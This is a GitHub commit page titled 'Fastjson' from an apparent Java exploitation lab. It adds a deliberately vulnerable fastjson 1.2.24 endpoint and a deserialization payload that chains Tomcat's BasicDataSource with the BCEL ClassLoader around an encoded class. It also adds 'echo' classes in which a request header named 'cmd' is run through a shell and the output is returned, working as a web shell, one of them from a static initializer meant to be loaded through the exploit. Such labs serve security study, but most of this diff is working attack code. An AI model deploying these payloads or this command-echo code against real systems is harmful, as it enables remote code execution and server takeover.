Skip to content

Commit 1741092

Browse files
committed
Fastjson
1 parent 78f207f commit 1741092

File tree

208 files changed

+1455
-19
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

208 files changed

+1455
-19
lines changed

1.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
1

2.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
1

RMI JRMP JNDI/.idea/compiler.xml

Lines changed: 13 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

RMI JRMP JNDI/.idea/uiDesigner.xml

Lines changed: 124 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

RMI JRMP JNDI/.idea/vcs.xml

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Rce_Echo/TomcatEcho/pom.xml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,11 @@
5050
<artifactId>fastjson</artifactId>
5151
<version>1.2.24</version>
5252
</dependency>
53+
<dependency>
54+
<groupId>org.apache.tomcat</groupId>
55+
<artifactId>tomcat-dbcp</artifactId>
56+
<version>9.0.8</version>
57+
</dependency>
5358
</dependencies>
5459

5560
<build>

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -30,9 +30,7 @@ public String fastjsonvul(){
3030
@ResponseBody
3131
public String vuldemo(@RequestBody String request){
3232
System.out.println(request);
33-
String result = request.substring(9,request.length());
34-
System.out.println(URLDecoder.decode(result));
35-
JSON.parse(URLDecoder.decode(result));
33+
JSON.parseObject(request);
3634
return "parse is ok!";
3735
}
3836

@@ -64,7 +62,19 @@ public static void main(String[] args) {
6462
" },\n" +
6563
" \"string\": \"welcome to json\"\n" +
6664
"}";
67-
Object ob = JSON.parse(json2);
65+
String json3 = "{\n" +
66+
" {\n" +
67+
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
68+
" \"x\":{\n" +
69+
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
70+
" \"driverClassLoader\": {\n" +
71+
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
72+
" },\n" +
73+
" \"driverClassName\": \"$l$8b$I$A$A$A$A$A$A$A$bdU$d1n$da0$U$7dG$e2$l$ac$3c$F$c4$i$60Z$l$8a$s$N$95J$ad$b4$b5S$e9$d6$87$b6$P$c6$5c$m$adc$a7$b6$DTS$ff$7d$d7q$d2B$m$T$ea$a6$f9$85$d8$3e$f7$dc$e3s$afM$ca$f8$p$9b$D1Y$92$806$c0$v$f0$85$a2$tJZ$ad$84$A$3dh6$9a$8d8I$95$b6$e4$81$z$Z$VL$ce$a9$86$99$An$e97$b0$L5$jl$p2$h$L$3a$e6L$ca$o$3cj$b7$9b$N$d2$s_N$E3$e6$82$rpL$c6$a9$8e$e5$fc$U$93$f5$fc$de$I$M$d7qjc$r$8f$c9$f5$e5$e8$d2$_$P3$cc$a0$R$9f$L$y$a0$cc$oC$bf$db$efEGQ$ff$88$f4$8e$8e$bb$9f$fc$d6O$3cD$ce$b0$ec$d1$$$ed$eeR$bb$95v$d4l$a4$d9D$c4$9cp$a7hS$M$f9$85$I$i$c62$8b$fb$c5$cc$N$ab$9f7$a7n$e4$e7$n$9c$7c$s$d7$L$NlJy$a65H$ebga$8b$ce$c1$3a$xams$e8W$c5$a6$a0q$5d$e0G$be$S$GJ$cf$a9$c9$f3$cf4$3a$b3R$fa$91$ae$60B$b9$8fC$ab$9f20$96$5e$f9$df$82$eeL$Jd$KZ$83mA$be$k$qAE$dc$r$f7$f30$c0$cf$o$7eh$ad$8e$t$99$F$b3$T$7c9y$c0$9a$S$85$c1$J$8d$e5R$3dB$u3$n$aa$b8$ffs$de1$e8$a58D$f6$fe$c3$9aTI$D$b5$G$f5$ea$j$aa$f3E$p$e7$a65$aa$W$f7$e4$60$bd$N$i$89$orfm$ba$7d$a6$bd$caP$c7$8d$8e$z$e8$bf2$d9$dd$c355$3e$dd$9b$95$a5$v$8eb$E$d8$fb$g$a6$h$G$f8$c4u$9e$n$e0$M$5c$aa$7f$a8l$81$a6$d0$5dgj$Vz$BAgl$5d$D$d1$fc$f6V$e5$be$c20$8b$jr$O$c6$c4$T$B$a1$d5$Z$ec$c1$faC$l$80$z$ca$bb$w$ab$f3$W$5b$U$da5H5$c8$L$r$3c$99bD$e8g$ad7$85$af$91O$j$S$mh$c7$7b$lq$7bO$b8J$S$s$a7$Gi$q$ac$ca$f5$8f$f7$V$7c$3c$c3$y$cf$c6B$e2$i$fc$aeU$K$da$3e$e3$ad3T$e2mCc$ad$fa$91$e2$e2$J3$80$95q$b7$8e$c5$S$Lss$7e$R$b4Z$d5$X$ce$8d2$f5m$f7$k$b3$e72$H$7f$40$f5rT$c4$ab$a0$X$C$c2$c0$B$J$a2I$y$p$b38$m$c9$87$dd$q$95$a7$aa$c4$f7$j$k$95W$e0$be$98y$df$e6$ed$b9$b7$ef$dcce$85$M$3ad$ab$ed$ca$e2y$8e$8e$_$8b$ff$d7$L$af2i$e3$E$i$5b$f1$89$d4$b0$G$k$96$8a$f2L$e72$cd$y$92$CK$c2V$8bf$GF$m$e2$c4$f1$85$c1$dd$dd$Q$cb$r$f12$e1$de$7bt$cfD$86$$Vt$be$8b$89$L$95$3f$h$b5L$_$843$cb$X$q$3c$5ds$c8$ffh$J$e4$bd$b4$B$v$t$f8$f1$f2$h$m$be$DOw$I$A$A\"\n" +
74+
" }\n" +
75+
" }: \"x\"\n" +
76+
"}\n";
77+
Object ob = JSON.parse(json3);
6878
System.out.println(ob.getClass().getName());
6979
}
7080

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
package summersec.echo.Controller;
2+
3+
import summersec.echo.Util.BCELEncode;
4+
5+
/**
6+
* @ClassName: Mcat
7+
* @Description: TODO
8+
* @Author: Summer
9+
* @Date: 2021/6/26 16:06
10+
* @Version: v1.0.0
11+
* @Description:
12+
**/
13+
public class Mcat {
14+
public static void main(String[] args) throws Exception {
15+
System.out.println("$$BCEL$$" + BCELEncode.class2BCEL(System.getProperty("user.dir")+"\\target\\classes\\\\summersec\\echo\\Controller\\dfs_classloader.class"));
16+
}
17+
}

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java

Lines changed: 30 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66
import org.springframework.web.bind.annotation.RequestMethod;
77
import org.springframework.web.bind.annotation.ResponseBody;
88
import java.io.*;
9+
import java.lang.reflect.Method;
10+
import java.util.Scanner;
911

1012
/**
1113
* @ClassName: SpringMVCTestController
@@ -17,20 +19,35 @@
1719
**/
1820
@Controller
1921
class SpringEcho {
20-
@ResponseBody
21-
@RequestMapping(value="/echo", method = RequestMethod.GET)
22-
public SpringEcho Test() throws IOException {
2322

24-
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
25-
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
26-
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
27-
28-
String cmd = httprequest.getHeader("cmd");
29-
if(cmd != null && !cmd.isEmpty()){
30-
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
31-
httpresponse.getWriter().println(res);
23+
@RequestMapping(value = "springecho")
24+
public void SpringEcho2()throws Exception{
25+
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
26+
Method m = c.getMethod("getRequestAttributes");
27+
Object o = m.invoke(null);
28+
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
29+
m = c.getMethod("getResponse");
30+
Method m1 = c.getMethod("getRequest");
31+
Object resp = m.invoke(o);
32+
Object req = m1.invoke(o); // HttpServletRequest
33+
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
34+
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
35+
getHeader.setAccessible(true);
36+
getWriter.setAccessible(true);
37+
Object writer = getWriter.invoke(resp);
38+
String cmd = (String)getHeader.invoke(req, "cmd");
39+
String[] commands = new String[3];
40+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
41+
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
42+
commands[0] = "cmd";
43+
commands[1] = "/c";
44+
} else {
45+
commands[0] = "/bin/sh";
46+
commands[1] = "-c";
3247
}
33-
34-
return new SpringEcho();
48+
commands[2] = cmd;
49+
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
50+
writer.getClass().getDeclaredMethod("flush").invoke(writer);
51+
writer.getClass().getDeclaredMethod("close").invoke(writer);
3552
}
3653
}
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
package summersec.echo.Controller;
2+
3+
import java.lang.reflect.Method;
4+
import java.util.Scanner;
5+
6+
/**
7+
* @ClassName: SpringEcho1
8+
* @Description: TODO
9+
* @Author: Summer
10+
* @Date: 2021/6/26 16:05
11+
* @Version: v1.0.0
12+
* @Description:
13+
**/
14+
public class SpringEcho1 {
15+
static {
16+
try {
17+
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
18+
Method m = c.getMethod("getRequestAttributes");
19+
Object o = m.invoke(null);
20+
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
21+
m = c.getMethod("getResponse");
22+
Method m1 = c.getMethod("getRequest");
23+
Object resp = m.invoke(o);
24+
Object req = m1.invoke(o); // HttpServletRequest
25+
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
26+
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
27+
getHeader.setAccessible(true);
28+
getWriter.setAccessible(true);
29+
Object writer = getWriter.invoke(resp);
30+
String cmd = (String)getHeader.invoke(req, "cmd");
31+
String[] commands = new String[3];
32+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
33+
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
34+
commands[0] = "cmd";
35+
commands[1] = "/c";
36+
} else {
37+
commands[0] = "/bin/sh";
38+
commands[1] = "-c";
39+
}
40+
commands[2] = cmd;
41+
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
42+
writer.getClass().getDeclaredMethod("flush").invoke(writer);
43+
writer.getClass().getDeclaredMethod("close").invoke(writer);
44+
} catch (Exception e) {
45+
46+
}
47+
48+
}
49+
}

0 commit comments

Comments
 (0)